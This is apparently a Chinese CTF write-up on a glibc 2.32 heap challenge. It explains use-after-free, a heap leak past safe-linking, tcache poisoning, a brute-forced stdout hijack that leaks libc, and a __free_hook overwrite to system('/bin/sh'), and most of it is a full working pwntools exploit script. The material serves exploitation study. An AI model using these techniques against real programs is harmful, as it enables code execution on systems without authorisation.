通过这题学习下2.32下的tcache,同时还学到好多东西。
1.先解析下题目,大概是提供了分配、释放、编辑、打印堆块的功能,不过限制了只能打印一次、编辑两次,同时还限制了不能分配0x90及以上的堆块。然后释放功能指针没清空,有UAF,保护全开。
2.首先泄露地址:因为2.32要利用doble-free必须泄露堆地址,所以show()功能肯定先被用掉,直接从free的chunk的fd指针泄露出heap_base,因为2.32的safe-linking异或机制就是下一个chunk和heap_base异或放入fd。
那么就思考之后怎么泄露Libc地址,可以通过劫持IO来泄露,但是劫持IO也需要libc地址才行啊,这里就用到爆破,利用unsortebin来留下地址在tcache结构体上,然后部分写2个字节来爆破半个字节。因为IO和main_arena其实相距不是太远,调试就可以知道。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 new(0x80 ,'PIG007NB' ) free() show() heap_leak = u64(rc(5 ).ljust(8 ,'\x00' )) heap_base = heap_leak*0x1000 log.info("heap_base:0x%x" %heap_base) edit('PIG007NBPIG007NB' ) free() edit(p64((heap_leak) ^ (heap_base + 0x10 ))) new(0x80 , 'PIG007NB' ) new(0x80 , '\x00\x00' *((0x290 -0x20 )/0x10 ) + '\x07\x00' ) free() new(0x88 , ('\x00\x00' + '\x00\x00' + '\x02\x00' + '\x00\x00' + '\x00\x00' * 2 + '\x01\x00' ).ljust(0x88 , '\x00' ))
被#—————————包裹起来的部分,这里只能申请0x48或者0x88大小的,因为tcache结构体被破坏,很多bin的数量变大了,不再是0x0,但是tcache中对应的Bin链表中仍然是0x0,再申请对应大小的就会触发程序异常,其实就是放入tcache空闲bin链表的时候错误:
3.然后就是劫持IO泄露地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 new(0x18 ,p64(heap_base+0x330 )+'\xbb' ) new(0x18 ,p16(0x66c0 )) new(0x78 ,p64(0xfbad1800 ) + p64(0 )*3 + p64(heap_base+0xa8 )+p64(heap_base+0xb0 )+p64(heap_base+0xb0 )) main_arena = u64(p.recvuntil('1.add' )[-13 :-7 ].ljust(8 ,b'\x00' )) - 0xbb - 96 test = main_arena>>40 log.info("main_arena:0x%x" %main_arena) log.info("test:0x%x" %test) if (test != 0x7f ): return malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook" , malloc_hook) libc_base = malloc_hook-obj.dump('__malloc_hook' ) system_addr = libc_base + obj.dump("system" ) __free_hook_addr = libc_base + obj.dump("__free_hook" ) log.info("libc_base:0x%x" %libc_base) log.info("system_addr:0x%x" %system_addr) log.info("__free_hook_addr:0x%x" %__free_hook_addr)
4.最后就是填充,将unsortedbin申请完之后,将unsortedbin从Tcache的结构体中脱离出来,防止再申请的时候乱套。这里直接从topchunk申请,安全一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 new(0x58 ,'PIG007NB' ) new(0x58 ,'PIG007NB' ) new(0x58 ,'PIG007NB' ) new(0x58 ,'PIG007NB' ) new(0x18 ,'PIG007NB' ) new(0x18 ,'PIG007NB' ) new(0x88 , p64(__free_hook_addr^(heap_base/0x1000 ))) new(0x38 , p64(system_addr)) new(0x38 , p64(system_addr)) new(0x10 , b'/bin/sh\x00' ) pause() free() p.interactive()
5.最后贴个爆破的exp,有些借鉴了arttnba3师傅的:
https://arttnba3.cn/2021/05/10/NOTE-0X04-GLIBC_HEAP-EXPLOIT/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 from pwn import *from LibcSearcher import *context.arch = 'amd64' SigreturnFrame(kernel = 'amd64' ) binary = "./pwn" ''' malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) log.info("libc_base:0x%x"%libc_base) ''' ''' python2 LibcOffset.py libc-2.23.so ''' ''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() ''' ''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 ''' local = 1 if local: p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so' , './pwn' ], env={"LD_PRELOAD" :"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6" }) elf = ELF(binary) else : p = remote("node3.buuoj.cn" ,"49153" ) elf = ELF(binary) libc = ELF(libc_file) sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) def cmd (command ): p.recvuntil(b">>" ) p.sendline(str (command).encode()) def new (size, content ): cmd(1 ) p.recvuntil(b"Size:" ) p.sendline(str (size).encode()) p.recvuntil(b"Content:" ) p.send(content) def free (): cmd(2 ) def show (): cmd(3 ) def edit (content ): cmd(5 ) p.recvuntil(b"Content:" ) p.send(content) def exp (): new(0x80 ,'PIG007NB' ) free() show() heap_leak = u64(rc(5 ).ljust(8 ,'\x00' )) heap_base = heap_leak*0x1000 log.info("heap_base:0x%x" %heap_base) edit('PIG007NBPIG007NB' ) free() edit(p64((heap_leak) ^ (heap_base + 0x10 ))) new(0x80 , 'PIG007NB' ) new(0x80 , '\x00\x00' *((0x290 -0x20 )/0x10 ) + '\x07\x00' ) free() new(0x88 , ('\x00\x00' + '\x00\x00' + '\x02\x00' + '\x00\x00' + '\x00\x00' * 2 + '\x01\x00' ).ljust(0x88 , '\x00' )) new(0x18 ,p64(heap_base+0x330 )+'\xbb' ) new(0x18 ,p16(0x66c0 )) new(0x78 ,p64(0xfbad1800 ) + p64(0 )*3 + p64(heap_base+0xa8 )+p64(heap_base+0xb0 )+p64(heap_base+0xb0 )) main_arena = u64(p.recvuntil('1.add' )[-13 :-7 ].ljust(8 ,b'\x00' )) - 0xbb - 96 test = main_arena>>40 log.info("main_arena:0x%x" %main_arena) log.info("test:0x%x" %test) if (test != 0x7f ): return malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook" , malloc_hook) libc_base = malloc_hook-obj.dump('__malloc_hook' ) system_addr = libc_base + obj.dump("system" ) __free_hook_addr = libc_base + obj.dump("__free_hook" ) log.info("libc_base:0x%x" %libc_base) log.info("system_addr:0x%x" %system_addr) log.info("__free_hook_addr:0x%x" %__free_hook_addr) new(0x58 ,'PIG007NB' ) new(0x58 ,'PIG007NB' ) new(0x58 ,'PIG007NB' ) new(0x58 ,'PIG007NB' ) new(0x18 ,'PIG007NB' ) new(0x18 ,'PIG007NB' ) new(0x88 , p64(__free_hook_addr^(heap_base/0x1000 ))) new(0x38 , p64(system_addr)) new(0x38 , p64(system_addr)) new(0x10 , '/bin/sh\x00' ) pause() free() p.interactive() count = 1 while True : try : print ('the no.' + str (count) + ' try' ) p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so' , './pwn' ], env={"LD_PRELOAD" :"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6" }) exp() except Exception as e: print (e) p.close() count = count + 1 continue
▲总结一下:
(1)IO_FILE的新知识:
new(0x78,p64(0xfbad1800) + p64(0)*3 + b’\x00’)
(2)2.32Tcache机制:
①放入tcache对应bin链表时会异或heap_base/0x1000,并且fd也会变化。
②bin链表中的count和申请与否的关系:
如果tcache的对应bin的count为0,则不会从该Tcache中申请。
如果大于等于1,那么就需要看tcache结构体上对应bin链表存放的chunk地址是否为一个合法的了,如果不合法则会申请失败,程序退出。(应该都是这样的)
③需要修改Key字段才能double free,即free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache的bin上,如果在则视为程序在 double free,进而终止程序。